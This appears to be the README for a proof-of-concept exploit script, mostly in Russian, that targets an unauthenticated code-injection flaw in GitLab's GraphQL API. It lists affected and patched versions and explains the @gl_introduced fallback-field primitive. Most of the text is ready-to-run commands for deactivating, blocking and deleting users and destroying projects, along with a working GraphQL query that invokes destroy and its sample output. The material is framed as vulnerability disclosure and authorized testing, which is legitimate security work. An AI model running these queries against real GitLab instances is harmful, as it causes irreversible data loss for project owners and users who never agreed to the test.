
Эксплойт Proof-of-concept для неаутентифицированного удалённого внедрения кода в GraphQL API GitLab, использующий специально сформированные запросы для изменения или удаления публичных проектов и пользователей.
Неаутентифицированная удалённая кодовая инъекция в GraphQL-слое GitLab, позволяющая атакующему изменять или удалять публичные проекты и пользовательские данные одним специально сформированным запросом. Не требуется аутентификация, взаимодействие с пользователем или особые привилегии.
| Серьёзность | 9.4 Критический — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H |
| CWE | CWE-94 (Некорректный контроль генерации кода / инъекция кода) |
| Затронуты | GitLab CE/EE >= 18.2, < 18.11.11 · < 19.0.8 · < 19.1.6 · < 19.2.4 |
| Исправлено | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| Раскрыто | 2026-08-17 |
| HackerOne | 3926431 |
# 1) Benign check — calls Project#touch (updates updated_at, no damage)
python3 poc.py --url https://gitlab.example.com --project group/public-project
# 2) Modify — deactivate a public user (persisted state change, reversible)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify
# 3) Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy
Эксплойт представляет собой инъекцию кода через резервное поле (fallback-field): выбранное атакующим имя поля в GraphQL-запросе превращается в произвольный вызов public_send для нижележащей модели ActiveRecord (Project, User, ...). Поскольку резервное поле создаётся только тогда, когда запрос также содержит «будущую» директиву @gl_introduced, эта директива и является примитивом инъекции.
| Серия | Затронуто | Исправлено |
|---|---|---|
| 18.x | >= 18.2, < 18.11.11 | 18.11.11 |
| 19.0 | < 19.0.8 | 19.0.8 |
| 19.1 | < 19.1.6 | 19.1.6 |
| 19.2 | < 19.2.4 | 19.2.4 |
Скрипт выполняет определение версии по мере возможностей (/api/v4/version с токеном, /help, /users/sign_in) и сообщает, попадает ли цель в затронутые диапазоны.
touch выше. Уязвимый экземпляр возвращает "touch": true; пропатченный экземпляр возвращает Field 'touch' doesn't exist on type 'Project'.gl_introduced в схеме GraphQL (интроспекция /api/graphql). Пропатченные экземпляры могут по-прежнему раскрывать её, поэтому авторитетной является поведенческая проверка.python3 poc.py --url <URL> (--project <ns/proj> | --user <username>)
[--mode check|modify|destroy|delete|custom]
[--method NAME] [--token TOKEN] [--version X.Y.Z] [--insecure]
| Опция | Описание |
|---|---|
--url | Базовый URL GitLab, например https://gitlab.example.com |
--project | Полный путь к публичному проекту, например group/subgroup/project |
--user | Имя пользователя (username) публичного пользователя, например alice |
--mode | check (по умолчанию, безвредный touch) · modify (пользователь: deactivate, проект: touch) · destroy · delete · custom |
--method | Имя метода для --mode custom (должно быть допустимым именем GraphQL) |
--token | Необязательный GitLab PRIVATE-TOKEN (определение версии / аутентификация) |
--version | Пропустить определение, принудительно задать строку версии |
--insecure | Отключить проверку сертификата TLS |
Деструктивные режимы (modify, destroy, delete) требуют интерактивного подтверждения yes.
# Benign check — Project#touch
python3 poc.py --url https://gitlab.example.com --project group/public-project
# Modify — deactivate a public user (reversible with activate)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify
# Modify — block a public user
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method block
# Modify — confirm a user's email (Devise confirmable)
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method confirm
# Undo a deactivation
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method activate
# Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy
# Delete — delete a public user (irreversible, no callbacks)
python3 poc.py --url https://gitlab.example.com --user victim --mode delete
# Arbitrary zero-arg method
python3 poc.py --url https://gitlab.example.com --project group/public-project \
--mode custom --method reload
# Authenticated / self-signed TLS
python3 poc.py --url https://gitlab.example.com --user victim --mode modify \
--token <PRIVATE-TOKEN> --insecure
$ python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy
[*] Detected GitLab version: 19.2.1-ee
[+] Version is within the affected ranges -> likely vulnerable
[!] WARNING: this mode changes data on the target (modify/destroy/delete).
Type 'yes' to run destroy against 'group/public-project': yes
[*] Target object : group/public-project
[*] Method invoked: destroy
[*] Query:
query {
project(fullPath: "group/public-project") {
name
destroy @gl_introduced(version: "999.0.0")
}
}
[*] HTTP 200
[+] VULNERABLE: 'destroy' was invoked on the target object (response value: True).
[+] The fallback field resolved through object.public_send() -> arbitrary method invocation confirmed.
[*] HTTP 200
[-] Target appears PATCHED: unknown fields are rejected (no fallback field was created).
Ответ пропатченного экземпляра — обычная ошибка валидации GraphQL:
{ "errors": [ { "message": "Field 'destroy' doesn't exist on type 'Project'", ... } ] }
[!] Parent object is null -> project/user not found or not visible.
(For projects, use the full path, e.g. group/subgroup/project)
Цель должна быть публичной (видимость проекта Public, либо пользователь, чей профиль публично разрешается через GraphQL). Если родительский объект равен null, метод никогда не вызывается.
/api/graphql или отключите функцию фильтра версий @gl_introduced, если она не нужна.e283c6ad "Предотвращение вызова метода объекта при разрешении резервного поля"Данный PoC предоставлен только для защитных исследований безопасности и авторизованного тестирования. Не запускайте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.